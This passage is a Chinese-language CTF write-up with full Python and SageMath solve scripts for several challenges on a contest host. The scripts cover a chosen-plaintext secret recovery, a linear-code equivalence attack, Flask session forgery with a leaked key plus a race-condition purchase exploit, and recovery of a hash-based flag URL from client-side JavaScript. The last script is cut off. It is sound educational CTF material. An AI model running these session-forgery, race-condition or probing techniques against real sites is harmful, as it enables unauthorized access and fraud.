在这里,输入给解密函数的“密文”实际上是 pad(user_id + API_SECRET)。我们控制 user_id,因此控制了输入数据的开头部分
服务器返回的是解密后的结果(Token)。令输入的块为,输出的块为
关系式为:
构造攻击:
如果我们构造输入,使得两个块 和 的内容完全相同(即 ),那么必然有
结合上面的公式,我们可以推导出:
我们可以利用这一点进行逐字节爆破:
- 我们知道 (因为我们构造了
user_id) - 我们通过调整
user_id的长度,将API_SECRET中的未知字节对齐到某个块 的末尾 - 我们在
user_id中构造另一个块 (猜测块),其中包含我们猜测的字符 - 如果不等式 成立,说明我们的猜测正确
2. 攻击脚本
该脚本会自动连接服务器,逐个字节爆破 API_SECRET,最后使用管理员权限登录
import socket
import string
import time
def solve():
# 目标配置
HOST = '47.122.52.77'
PORT = 33466
ALPHABET = string.ascii_letters + string.digits
# XOR 辅助函数
def xor(b1, b2):
return bytes(a ^ b for a, b in zip(b1, b2))
# 连接函数
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 接收并跳过欢迎横幅
time.sleep(0.5)
s.recv(1024)
return s
s = connect()
known_secret = ""
print(f"[*] 开始攻击 {HOST}:{PORT} ...")
# 这里的 48 是 API_SECRET 的长度
for k in range(48):
# 1. 计算对齐需要的填充长度 p
# 我们希望目标块的最后一个字节正好是 S[k]
# 公式推导:|U| + k = 15 (mod 16) => |U| = 15 - k (mod 16)
p = (15 - k) % 16
# 设置 Payload U 的长度为 32 + p,确保至少有两个块(Block 0 和 Block 1)
# Block 0 为填充块,Block 1 为猜测块
u_len = 32 + p
# 2. 构造目标块的前缀 X (已知的 15 个字节)
if k < 15:
# 如果 k < 15,前缀由 U 的尾部填充('A'*p) 和已知的 Secret 开头组成
pad_bytes = b'A' * p
X = pad_bytes + known_secret.encode()
else:
# 如果 k >= 15,前缀完全来自已知的 Secret
X = known_secret[k-15:].encode()
# 3. 计算目标块的索引 m
# Payload 结构: U || Secret
# 目标块结束位置在 Payload 中的索引: |U| + k
m = (u_len + k) // 16
found = False
# 遍历所有可能的字符
for char in ALPHABET:
g = char.encode()
# 构造猜测块 B_guess (放在 Block 1)
B_guess = X + g
# 构造完整的 ID (U)
# U = [Block 0: Zeros] + [Block 1: Guess] + [Tail: 'A'*p]
U = b'\x00'*16 + B_guess + b'A'*p
try:
# 清空缓冲区
s.setblocking(0)
try:
while s.recv(1024): pass
except: pass
s.setblocking(1)
# 发送选项 1 (Generate Token)
s.sendall(b"1\n")
# 等待 ID 提示
buff = b""
while b"ID:" not in buff:
chunk = s.recv(1024)
if not chunk: break
buff += chunk
# 发送构造的 ID
s.sendall(U + b"\n")
# 读取 Token
buff = b""
while b"Token:" not in buff:
chunk = s.recv(1024)
if not chunk: break
buff += chunk
# 提取 Token 并解析为字节
line = buff.split(b"Token: ")[1].split(b"\n")[0].strip()
token = bytes.fromhex(line.decode())
# 将 Token 分块
blocks = [token[i:i+16] for i in range(0, len(token), 16)]
# 4. 验证猜测
# 我们比较猜测块对应的输出 O_1 和目标块对应的输出 O_m
# 验证公式: O_1 ^ O_m == B_0 ^ B_{m-1}
if len(blocks) <= m: continue
O_1 = blocks[1]
O_m = blocks[m]
B_0 = U[:16] # 全 0
# 重构 B_{m-1} (目标块的前一块)
# 它来自完整的 Payload: U + Known_Secret ...
sim_payload = U + known_secret.encode() + g
B_prev = sim_payload[16*(m-1) : 16*m]
val1 = xor(O_1, O_m)
val2 = xor(B_0, B_prev)
if val1 == val2:
known_secret += char
print(f"[+] Found byte {k}: {char} | Secret: {known_secret}")
found = True
break
except Exception as e:
# 如果连接断开,尝试重连
print(f"[!] Error: {e}. Reconnecting...")
s.close()
s = connect()
continue
if not found:
print(f"[-] Failed to find byte at index {k}")
break
# 5. 使用获取的 Secret 登录 (选项 2)
print("[*] Logging in with recovered secret...")
# 清空缓冲区
s.setblocking(0)
try:
while s.recv(1024): pass
except: pass
s.setblocking(1)
s.sendall(b"2\n")
time.sleep(0.5)
s.sendall(known_secret.encode() + b"\n")
# 读取 Flag
response = b""
while True:
try:
chunk = s.recv(1024)
if not chunk: break
response += chunk
if b"}" in response: break
except: break
print("\n" + "="*30)
print(response.decode(errors='ignore').strip())
print("="*30)
if __name__ == "__main__":
solve()

Isomorphia
题目描述:
我们开发了一套校验系统。 系统的开发者向我保证,他在代码里写了非常严格的结构检查逻辑,绝对不可能有任何黑客能混过去。
核心漏洞:
if list(row).count(0) != self.n - 1:
pass # <--- 漏洞!这里应该是报错,但它直接放行了
这意味着矩阵 不需要是单项矩阵,只要它是可逆矩阵即可。题目退化为简单的矩阵等价问题
数学解法:
我们需要求解
-
分解:利用 SageMath 的 Smith Normal Form (SNF) 将 和 分解为对角矩阵 。
-
联立:因为 是相同的,所以:
- 移项:将两边的变换矩阵移到等式一侧,构造出 的形式:
- 结果:
- 目标
- 目标
算出这两个矩阵直接发送即可拿到 Flag
完整脚本
import socket
import re
import time
from sage.all import *
# 题目配置
HOST = '47.122.52.77'
PORT = 33514
Q_FIELD = 127
K = 14
N = 26
def solve():
print(f"[*] Connecting to {HOST}:{PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 接收数据的辅助函数
def recv_until(target_bytes):
buf = b""
while target_bytes not in buf:
try:
chunk = s.recv(4096)
if not chunk: break
buf += chunk
except:
break
return buf
# 1. 发送 'G' 获取矩阵
recv_until(b"Options:")
s.sendall(b"G\n")
print("[-] Receiving matrix data...")
# 读取足够多的数据,包含 G 和 H
# 既然菜单里有 "Options:", 我们读到它就能保证拿到了前面的输出
raw_data = recv_until(b"Options:").decode(errors='ignore')
# 2. 使用正则解析矩阵
# 查找所有整数 (支持负号)
# 这一步会自动过滤掉 '┃', '[', ']', 'G =', 'H =' 等无关字符
all_nums = [int(x) for x in re.findall(r'-?\d+', raw_data)]
# 按照题目维度 K=14, N=26,每个矩阵有 364 个元素
expected_len = K * N
# 我们需要在提取出的数字中找到 G 和 H
# 通常 G 在前,H 在后。
# raw_data 里可能包含菜单选项 1, 2... 或者其他数字,所以要小心定位
# 但根据题目输出 "G = ... H = ...", 它们应该是大段连续的数字
# 简单的定位策略:找到 G = 和 H = 的位置,分别提取后面的数字
try:
# 分割文本
part_g = raw_data.split("G =")[1].split("H =")[0]
part_h = raw_data.split("H =")[1].split("Options")[0]
nums_g = [int(x) for x in re.findall(r'-?\d+', part_g)]
nums_h = [int(x) for x in re.findall(r'-?\d+', part_h)]
if len(nums_g) != expected_len or len(nums_h) != expected_len:
print(f"[!] Matrix size mismatch. Expected {expected_len}, got G:{len(nums_g)}, H:{len(nums_h)}")
return
G = matrix(GF(Q_FIELD), K, N, nums_g)
H = matrix(GF(Q_FIELD), K, N, nums_h)
print(f"[+] Parsed G and H. Rank: {G.rank()}")
except Exception as e:
print(f"[!] Parsing logic error: {e}")
# 调试打印
# print(raw_data)
return
# 3. 计算 Smith Normal Form
print("[-] Computing Smith Normal Form...")
# D = U * M * V
D_g, U_g, V_g = G.smith_form()
D_h, U_h, V_h = H.smith_form()
# 构造目标矩阵
# H = (U_h^-1 * U_g) * G * (V_g * V_h^-1)
target_U = U_h.inverse() * U_g
target_P = V_g * V_h.inverse()
# 4. 发送结果
s.sendall(b"S\n")
# 发送 U
recv_until(b"row by row:")
print("[-] Sending U...")
for row in target_U:
line = ",".join(map(str, row)) + "\n"
s.sendall(line.encode())
# time.sleep(0.01) # 可选:稍微延时防止粘包
# 发送 P
recv_until(b"row by row:")
print("[-] Sending P...")
for row in target_P:
line = ",".join(map(str, row)) + "\n"
s.sendall(line.encode())
# 5. 读取 Flag
print("[-] Waiting for result...")
final_res = recv_until(b"}").decode(errors='ignore')
print("\n" + "="*50)
if "xujc{" in final_res or "flag" in final_res.lower():
# 尝试提取 flag
match = re.search(r'xujc\{.*?\}', final_res)
if match:
print(match.group(0))
else:
print(final_res.strip())
else:
print("Raw response:")
print(final_res)
print("="*50)
s.close()
if __name__ == "__main__":
solve()

Isomorphia_revenge
题目描述:
上次的系统上线后被黑客秒破了,我们紧急修复了这个漏洞,并开除了实习生。现在,校验逻辑已经严丝合缝。这一次,纯粹的技巧已经救不了那群无聊的黑客了!
1. 分析题目
题目给定两个矩阵 和 ,且已知存在关系:
其中:
- 是 的随机生成矩阵
- 是 的单项矩阵(Monomial Matrix),它可以分解为 列置换(Permutation)和 列缩放(Scaling)
- 是 的可逆矩阵(基变换)
- 是变换后的行阶梯形式
这在密码学中被称为 线性码等价性问题。我们需要找到 (置换+缩放)和
2. 解题步骤
2.1 利用对偶码
原码的维度 ,码长
我们计算其对偶码(Dual Code)。对偶码的维度为
原因:在更小的维度空间(12维)里进行随机搜索(ISD算法),找到短码字的概率更高,速度更快
数学依据:如果两个线性码 和 等价,它们的对偶码也是等价的
2.2 提取“指纹” (Saturation ISD)
这是解题中最耗时也最关键的一步。 线性码中的**短码字(Short Codewords)**及其 **支撑集(Support,即非零元素的位置)**是几何不变量
- 策略:运行 100秒 的随机化高斯消元(Information Set Decoding 变体)
- 目的:穷尽所有低权重的码字
- 结果:
- Weight 12:G 和 H 各找到 2 个。
- Weight 13:G 和 H 各找到约 600 个(必须保证两边数量完全一致,少一个都不行)
2.3 图同构求解
将代数问题转化为图论问题
构建关联结构(超图):
- 节点:26 个列索引
- 边(块):所有找到的 Weight 12 和 Weight 13 码字的支撑集
求解:
- 只要 的列 对应 的列 ,那么 中包含 的短码字支撑集结构,必须与 中包含 的结构完全一致
- 使用 SageMath 的
IncidenceStructure.is_isomorphic()(底层调用 Nauty 或 Bliss 算法,速度极快)来寻找列置换 - 关键点:同时使用 Weight 12 和 13 的数据,打破了单一权重可能存在的对称性,锁定了唯一正确的列置换
2.4 代数传播求解缩放因子
此时我们已经知道了列是怎么乱序的(即已知 的置换部分),只剩下列缩放因子 和 基变换 未知
公式变形为:
这是一个包含未知数 和 的非线性系统,但我们可以用传播法求解:
-
利用基列: 是行阶梯形,前 14 列是单位阵 。这给出了强约束。
-
利用非基列作为桥梁:
-
对于任意非基列 ,它是由基列线性组合而成的
-
在 的视角和 的视角下,这种线性组合的系数比值,直接暴露了列与列之间缩放因子的比值关系:
-
- BFS 搜索:
- 假设第一个基列的缩放因子为 1
- 通过非基列作为”桥梁”,计算出它连接的所有基列的缩放因子
- 像病毒扩散一样,解出所有 26 列的缩放因子
2.5 拿到flag
有了置换和缩放因子,我们构造出完整的矩阵
有了 ,直接计算
验证通过,发送服务器,Get Flag
3. 完整脚本
from sage.all import *
import pwn
import time
import random
import collections
# ================= 配置 =================
HOST = '47.122.52.77'
PORT = 33708
# 延长到 100 秒,确保 Weight 13 (约600个) 能全部找齐
# 这是解题的关键:必须让 G 和 H 的 Weight 13 数量完全一致
HARVEST_TIME = 100
# =======================================
pwn.context.log_level = 'info'
def get_matrix_from_output(data_str, rows, cols):
"""鲁棒地解析矩阵数据"""
clean_data = data_str.replace('[', ' ').replace(']', ' ')
import re
elements = [int(x) for x in re.findall(r'-?\d+', clean_data)]
if len(elements) != rows * cols:
raise ValueError(f"Parsed {len(elements)} elements, expected {rows*cols}")
return matrix(GF(127), rows, cols, elements)
def normalize_vec(v):
"""向量归一化并设为不可变,以便存入集合去重"""
v = vector(v)
if v == 0:
v.set_immutable()
return v
# 找到第一个非零元,将其缩放为1
p = next(i for i, x in enumerate(v) if x != 0)
v = v * v[p]^(-1)
v.set_immutable()
return v
def solve():
r = pwn.remote(HOST, PORT)
try:
# --- 1. 获取矩阵 ---
r.recvuntil(b'Options:')
r.sendline(b'g')
pwn.log.info("Receiving matrices...")
r.recvuntil(b'G =')
g_data = r.recvuntil(b'H =', drop=True).decode()
h_data = r.recvuntil(b'Options', drop=True).decode().replace('┃', '').strip()
G_mat = get_matrix_from_output(g_data, 14, 26)
H_mat = get_matrix_from_output(h_data, 14, 26)
pwn.log.success(f"Matrices loaded.")
# --- 2. 计算对偶码 ---
# 对偶码维数 k=12,搜索空间更小,更容易找到短码字
D_G = LinearCode(G_mat).dual_code()
D_H = LinearCode(H_mat).dual_code()
# --- 3. 饱和式搜集码字 ---
pwn.log.info(f"Harvesting codewords for {HARVEST_TIME}s. Please wait for convergence...")
vecs_G = set()
vecs_H = set()
# 初始种子
for row in D_G.generator_matrix(): vecs_G.add(normalize_vec(row))
for row in D_H.generator_matrix(): vecs_H.add(normalize_vec(row))
start_time = time.time()
iter_count = 0
# 预先获取生成矩阵,减少属性访问开销
GenG = D_G.generator_matrix()
GenH = D_H.generator_matrix()
n = 26
prog = pwn.log.progress("Harvesting")
while time.time() - start_time < HARVEST_TIME:
# 批量执行以减少时间检查开销
for _ in range(50):
# G code harvesting
perm = list(range(n))
random.shuffle(perm)
P = matrix(GF(127), n, n, lambda r, c: 1 if c == perm[r] else 0)
try:
# 使用 P * G_sys 寻找低权重向量
G_sys = (GenG * P).echelon_form()
P_inv = P.inverse()
for row in G_sys:
if row == 0: continue
vecs_G.add(normalize_vec(row * P_inv))
except: pass
# H code harvesting
perm = list(range(n))
random.shuffle(perm)
P = matrix(GF(127), n, n, lambda r, c: 1 if c == perm[r] else 0)
try:
H_sys = (GenH * P).echelon_form()
P_inv = P.inverse()
for row in H_sys:
if row == 0: continue
vecs_H.add(normalize_vec(row * P_inv))
except: pass
iter_count += 50
if iter_count % 500 == 0:
prog.status(f"G:{len(vecs_G)} H:{len(vecs_H)}")
prog.success(f"Finished. Found G:{len(vecs_G)}, H:{len(vecs_H)} unique codewords.")
# --- 4. 多层级融合匹配 ---
def get_blocks_by_weight(vecs):
bw = collections.defaultdict(list)
for v in vecs:
bw[v.hamming_weight()].append(sorted(v.support()))
return bw
map_G = get_blocks_by_weight(vecs_G)
map_H = get_blocks_by_weight(vecs_H)
common_weights = sorted(list(set(map_G.keys()) & set(map_H.keys())))
pwn.log.info(f"Weights found: {common_weights}")
combined_blocks_G = []
combined_blocks_H = []
used_weights = []
# 强制合并 Weight 12 和 Weight 13 (如果数量匹配)
# 只有合并了 Weight 13 这种大数量级的层,才能打破对称性
for w in common_weights:
count_G = len(map_G[w])
count_H = len(map_H[w])
pwn.log.info(f"Checking Weight {w}: G={count_G}, H={count_H}")
if count_G == count_H and count_G > 0:
combined_blocks_G.extend(map_G[w])
combined_blocks_H.extend(map_H[w])
used_weights.append(w)
else:
pwn.log.warning(f"Weight {w} MISMATCH! Skipping. (If this is Weight 13, it will likely fail)")
if not used_weights:
pwn.log.error("No matching weights found! You need to run longer or verify inputs.")
return
pwn.log.success(f"Solving Isomorphism using weights {used_weights} (Total blocks: {len(combined_blocks_G)})")
# --- 5. 图同构求解 ---
points = list(range(26))
IS_G = IncidenceStructure(points=points, blocks=combined_blocks_G)
IS_H = IncidenceStructure(points=points, blocks=combined_blocks_H)
# 获取映射字典
iso_map = IS_G.is_isomorphic(IS_H, certificate=True)
if not iso_map:
pwn.log.error("Structures NOT isomorphic. Even with matching counts, the graphs differ. Try re-running.")
return
P_perm = matrix(GF(127), 26, 26)
for i in range(26):
P_perm[i, iso_map[i]] = 1
pwn.log.success("Permutation recovered.")
# --- 6. 鲁棒求解缩放因子 D (BFS 传播) ---
# 这是求解 Monomial Scaling 的最稳定方法
basis_cols = list(range(14))
non_basis = list(range(14, 26))
G_new = G_mat * P_perm
G_basis = G_new[:, basis_cols]
try:
G_basis_inv = G_basis.inverse()
except:
pwn.log.error("Permutation bad: First 14 columns of G*P are not a basis.")
return
vs = {k: G_basis_inv * G_new[:, k] for k in non_basis}
d_basis = [None] * 14
d_basis[0] = GF(127)(1)
queue = [0]
while queue:
curr = queue.pop(0)
curr_d = d_basis[curr]
for k in non_basis:
v_col = vs[k]
h_col = H_mat[:, k]
if h_col[curr] != 0 and v_col[curr] != 0:
d_k = curr_d * (h_col[curr] / v_col[curr])
for target in range(14):
if d_basis[target] is None:
if h_col[target] != 0 and v_col[target] != 0:
d_basis[target] = d_k * (v_col[target] / h_col[target])
queue.append(target)
# 补全
for i in range(14):
if d_basis[i] is None: d_basis[i] = GF(127)(1)
D_basis_inv = diagonal_matrix([1/x for x in d_basis])
U_sol = D_basis_inv * G_basis_inv
temp = U_sol * G_new
d_total_vals = []
for j in range(26):
ratio = GF(127)(1)
for i in range(14):
if temp[i, j] != 0:
ratio = H_mat[i, j] / temp[i, j]
break
d_total_vals.append(ratio)
P_final = P_perm * diagonal_matrix(GF(127), d_total_vals)
# --- 7. 验证 ---
if U_sol * G_mat * P_final == H_mat:
pwn.log.success("Verification Passed! Sending solution...")
r.sendline(b's')
r.recvuntil(b'matrix U row by row:')
for row in U_sol:
r.sendline(','.join(str(x) for x in row).encode())
r.recvuntil(b'matrix P row by row:')
for row in P_final:
r.sendline(','.join(str(x) for x in row).encode())
r.interactive()
else:
pwn.log.error("Local verification failed. The permutation might be symmetric but wrong for scaling.")
except Exception as e:
pwn.log.error(f"Error: {e}")
try: r.close()
except: pass
if __name__ == '__main__':
solve()

Web
Eat
题目描述:
大径村村口的小卖部开了网店,天价泡面让许多人望而却步。但网页开发者据说是隔壁学校教出来的,我想这难不倒你,是吧黑客?
题目目标:需要满足 noodles >= 2 且 snack >= 1 才能获得flag
关键漏洞:条件竞争
看 buy_noodles 和 buy_snack 函数的逻辑:
balance, noodles, snack = get_userdata() # 1. 先读取余额
if balance >= 10000:
noodles += 1
open(f"./users/noodles.txt", "w").write(str(noodles)) # 2. 先写入商品
time.sleep(random.uniform(-0.2, 0.2) + 1.0) # 3. 故意sleep约1秒
balance -= 10000
open(f"./users/balance.txt", "w").write(str(balance)) # 4. 最后才扣钱
漏洞点:
- 先增加商品数量,后扣除余额
- 中间有约1秒的
time.sleep - 余额检查和扣款不是原子操作
攻击思路:
- 首先需要伪造session获得初始余额(因为
secret_key = "welcometotkkctf"已泄露) - 利用条件竞争,在同一时间发送多个购买请求
- 由于检查余额和扣款之间有延迟,多个请求可以同时通过余额检查,但只扣一次钱
攻击脚本:
#!/usr/bin/env python3
"""
CTF Web题目 - 条件竞争漏洞利用脚本
目标:利用race condition购买足够的泡面(>=2)和零食(>=1)获取flag
"""
import requests
import threading
import time
from itsdangerous import URLSafeTimedSerializer
# ============ 配置区域 ============
TARGET_URL = "http://47.122.52.77:33489" # 修改为实际目标地址
SECRET_KEY = "welcometotkkctf" # 源码泄露的secret_key
# =================================
def forge_session(data: dict) -> str:
"""伪造Flask session - 使用itsdangerous直接签名"""
serializer = URLSafeTimedSerializer(
SECRET_KEY,
salt='cookie-session',
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)
return serializer.dumps(data)
def exploit():
# 1. 伪造session,设置初始余额
session_data = {
"user": "hacker_" + str(int(time.time())),
"balance": 20000
}
fake_session = forge_session(session_data)
cookies = {"session": fake_session}
print(f"[*] 目标: {TARGET_URL}")
print(f"[*] 伪造的session: {fake_session[:50]}...")
print(f"[*] Session数据: {session_data}")
# 2. 先访问主页初始化用户数据
print("\n[*] 初始化用户数据...")
resp = requests.get(TARGET_URL, cookies=cookies)
resp = requests.get(TARGET_URL, cookies=cookies)
# 3. 条件竞争攻击
print("[*] 开始条件竞争攻击...")
results = {"noodles": [], "snack": []}
def buy_noodles():
try:
resp = requests.post(f"{TARGET_URL}/buy_noodles", cookies=cookies, timeout=10)
results["noodles"].append(resp.text)
except Exception as e:
results["noodles"].append(f"Error: {e}")
def buy_snack():
try:
resp = requests.post(f"{TARGET_URL}/buy_snack", cookies=cookies, timeout=10)
results["snack"].append(resp.text)
except Exception as e:
results["snack"].append(f"Error: {e}")
threads = []
# 同时发送多个购买泡面的请求(需要>=2)
for _ in range(10):
threads.append(threading.Thread(target=buy_noodles))
# 同时发送多个购买零食的请求(需要>=1)
for _ in range(5):
threads.append(threading.Thread(target=buy_snack))
# 同时启动所有线程
print(f"[*] 启动 {len(threads)} 个并发请求...")
for t in threads:
t.start()
# 等待所有请求完成
for t in threads:
t.join()
print(f"[+] 泡面购买结果: {results['noodles']}")
print(f"[+] 零食购买结果: {results['snack']}")
# 4. 获取flag
print("\n[*] 尝试获取flag...")
resp = requests.get(f"{TARGET_URL}/eat", cookies=cookies)
print(f"[+] 结果: {resp.text}")
if "flag" in resp.text.lower() or "ctf" in resp.text.lower() or "{" in resp.text:
print("\n" + "="*50)
print(f"[SUCCESS] FLAG: {resp.text}")
print("="*50)
return True
else:
print("\n[!] 未获取到flag,可能需要多试几次")
return False
if __name__ == "__main__":
print("="*50)
print("CTF Web - 条件竞争漏洞利用")
print("="*50 + "\n")
for i in range(5):
print(f"\n{'='*20} 第 {i+1} 次尝试 {'='*20}")
try:
if exploit():
break
except Exception as e:
print(f"[!] 出错: {e}")
time.sleep(1)

Real or AI
题目描述: “多少?100轮?玩这么点就想证明你不是AI啊?玩999轮全对我就把flag给你”
编写脚本看看题目有什么内容:
import requests
import re
TARGET_URL = "http://47.122.52.77:33747/"
session = requests.Session()
# 1. 获取主页,查看结构
print("[*] 获取主页...")
resp = session.get(TARGET_URL)
print(f"[*] 状态码: {resp.status_code}")
print(f"[*] Cookies: {dict(session.cookies)}")
# 保存HTML分析
with open("page.html", "w", encoding="utf-8") as f:
f.write(resp.text)
print("[*] 已保存主页到 page.html")
# 2. 查找图片URL
img_urls = re.findall(r'<img[^>]+src=["\']([^"\']+)["\']', resp.text)
print(f"\n[*] 找到的图片URL:")
for url in img_urls:
print(f" {url}")
# 3. 查找JS文件
js_urls = re.findall(r'<script[^>]+src=["\']([^"\']+)["\']', resp.text)
print(f"\n[*] 找到的JS文件:")
for url in js_urls:
print(f" {url}")
# 4. 查找API端点
api_patterns = re.findall(r'["\']/(api|submit|check|answer|game|play)[^"\']*["\']', resp.text, re.I)
print(f"\n[*] 可能的API端点:")
for api in set(api_patterns):
print(f" {api}")
# 5. 查找隐藏字段或答案相关内容
answer_patterns = re.findall(r'(real|fake|ai|answer|correct|label|type)["\s:=]+["\']?(\w+)["\']?', resp.text, re.I)
print(f"\n[*] 可能的答案相关字段:")
for pattern in answer_patterns[:20]:
print(f" {pattern}")
# 6. 尝试常见API路径
print("\n[*] 探测常见API路径...")
common_paths = [
"/api/image", "/api/answer", "/api/check", "/api/submit",
"/api/game", "/api/start", "/api/next", "/api/score",
"/game", "/start", "/check", "/submit", "/answer",
"/flag", "/admin", "/debug", "/source", "/robots.txt"
]
for path in common_paths:
try:
r = session.get(f"{TARGET_URL}{path}", timeout=3)
if r.status_code != 404:
print(f" [+] {path} -> {r.status_code} ({len(r.text)} bytes)")
if len(r.text) < 500:
print(f" 内容: {r.text[:200]}")
except:
pass
print("\n[*] 探测完成,请查看 page.html 分析前端代码")
发现关键内容:
[*] 找到的JS文件:
https://cdn.tailwindcss.com
https://unpkg.com/react@18/umd/react.production.min.js
https://unpkg.com/react-dom@18/umd/react-dom.production.min.js
/assets/node_modules/vendor.min.js # 关键
继续探测:
#!/usr/bin/env python3
"""
提取verifyAndFetchFlag函数的完整逻辑
"""
import requests
import re
TARGET = "http://47.122.52.77:33747"
def main():
print("[*] 下载 vendor.min.js...")
js = requests.get(f"{TARGET}/assets/node_modules/vendor.min.js").text
print(f"[+] 文件大小: {len(js)} bytes")
# 方法1: 找函数定义
print("\n[*] 搜索 verifyAndFetchFlag 函数定义...")
idx = js.find('window.verifyAndFetchFlag = async function')
if idx != -1:
print(f"[+] 找到函数定义在位置 {idx}")
# 提取更多内容
print("\n=== 函数定义 ===")
print(js[idx:idx+2000])
else:
# 尝试其他模式
idx = js.find('verifyAndFetchFlag=async')
if idx != -1:
print(f"[+] 找到压缩版函数定义在位置 {idx}")
print(js[max(0,idx-100):idx+2000])
# 方法2: 找hashArray
print("\n\n[*] 搜索 hashArray...")
idx = js.find('hashArray')
if idx != -1:
print(f"[+] 找到 hashArray 在位置 {idx}")
print("\n=== hashArray 上下文 ===")
print(js[max(0,idx-800):idx+500])
# 方法3: 找crypto/SHA相关
print("\n\n[*] 搜索 crypto/SHA 相关...")
for pattern in ['crypto.subtle', 'SHA-256', 'sha256', 'digest']:
idx = js.find(pattern)
if idx != -1:
print(f"\n[+] 找到 '{pattern}' 在位置 {idx}")
print(js[max(0,idx-200):idx+300])
# 方法4: 找secrets路径
print("\n\n[*] 搜索 /secrets/ 路径...")
idx = js.find('/secrets/')
if idx != -1:
print(f"[+] 找到 /secrets/ 在位置 {idx}")
print("\n=== secrets 上下文 ===")
print(js[max(0,idx-500):idx+200])
# 方法5: 找999相关(题目要求999轮)
print("\n\n[*] 搜索 999 相关...")
for match in re.finditer(r'.{0,100}999.{0,100}', js):
text = match.group()
# 过滤掉XML namespace
if 'xlink' not in text and 'xmlns' not in text and 'xhtml' not in text:
print(f"[+] {text}")
if __name__ == "__main__":
main()
输出:
[*] 下载 vendor.min.js...
[+] 文件大小: 622200 bytes
[*] 搜索 verifyAndFetchFlag 函数定义...
[+] 找到函数定义在位置 621280
=== 函数定义 ===
window.verifyAndFetchFlag = async function(e, t) {
const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
console.log('Verifying...', e, t);
fetch('/secrets/' + hashHex + '.txt')
.then(response => {
if (response.ok) return response.text();
throw new Error('404 Not Found');
})
.then(flag => {
navigator.clipboard.writeText(flag.trim());
alert('Success! Flag copied: ' + flag.trim());
})
.catch(err => {
console.error(err);
alert('Verification Failed.');
});
};
[*] 搜索 hashArray...
[+] 找到 hashArray 在位置 621572
=== hashArray 上下文 ===
framework: e.framework || "react",
basePath: e.basePath ?? i2(),
...e.route !== void 0 && {
disableAutoTrack: !0
},
...e
})
}
, []),
z.useEffect(()=>{
e.route && e.path && s2({
route: e.route,
path: e.path
})
}
, [e.route, e.path]),
null
}
Rr.createRoot(document.getElementById("root")).render(h.jsxs(ef.StrictMode, {
children: [h.jsx(Xy, {}), h.jsx(n2, {})]
}));
window.verifyAndFetchFlag = async function(e, t) {
const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
console.log('Verifying...', e, t);
fetch('/secrets/' + hashHex + '.txt')
.then(response => {
if (response.ok) return response.text();
throw new Error('404 Not Found');
})
.then(flag => {
navigator.clipboard.writeText(flag.trim());
alert('Success! Flag copied: ' + flag.trim())
[*] 搜索 crypto/SHA 相关...
[+] 找到 'crypto.subtle' 在位置 621518
tion(e, t) {
const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
console.log('Verifying...', e, t);
fetch('/secrets/' + hashHex + '.txt')
.then(respons
[+] 找到 'SHA-256' 在位置 621540
salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
console.log('Verifying...', e, t);
fetch('/secrets/' + hashHex + '.txt')
.then(response => {
if
[+] 找到 'digest' 在位置 141169
while (s);
var i = a
} catch (n) {
i = `
Error generating stack: ` + n.message + `
` + n.stack
}
return {
value: e,
source: t,
stack: i,
digest: null
}
}
function fr(e, t, a) {
return {
value: e,
source: null,
stack: a ?? null,
digest: t ?? null
}
}
function po(e, t) {
try {
console.error(t.value)
} catch (a) {
setTimeout(function() {
throw a
})
[*] 搜索 /secrets/ 路径...
[+] 找到 /secrets/ 在位置 621766
=== secrets 上下文 ===
2, {})]
}));
window.verifyAndFetchFlag = async function(e, t) {
const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
console.log('Verifying...', e, t);
fetch('/secrets/' + hashHex + '.txt')
.then(response => {
if (response.ok) return response.text();
throw new Error('404 Not Found');
})
.then(flag => {
[*] 搜索 999 相关...
[+] const dm = .999999999999
关键信息:
const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString(); // e=score, t=totalRounds
// SHA-256(msg) -> hashHex
// fetch('/secrets/' + hashHex + '.txt')
题目要求999轮全对,所以 e=999, t=999
攻击脚本:
#!/usr/bin/env python3
"""
CTF AI Detector - 直接获取Flag
逻辑: SHA256(salt + score + totalRounds) -> /secrets/{hash}.txt
"""
import hashlib
import requests
TARGET = "http://47.122.52.77:33747"
SALT = "hIKHxjySfD9IXSw88dBi03QUJWUdoank"
def calculate_hash(score, total_rounds):
"""计算验证hash"""
msg = SALT + str(score) + str(total_rounds)
hash_hex = hashlib.sha256(msg.encode()).hexdigest()
return hash_hex
def get_flag(score, total_rounds):
"""获取flag"""
hash_hex = calculate_hash(score, total_rounds)
url = f"{TARGET}/secrets/{hash_hex}.txt"
print(f"[*] Score: {score}/{total_rounds}")
print(f"[*] Message: {SALT}{score}{total_rounds}")
print(f"[*] SHA256: {hash_hex}")
print(f"[*] URL: {url}")
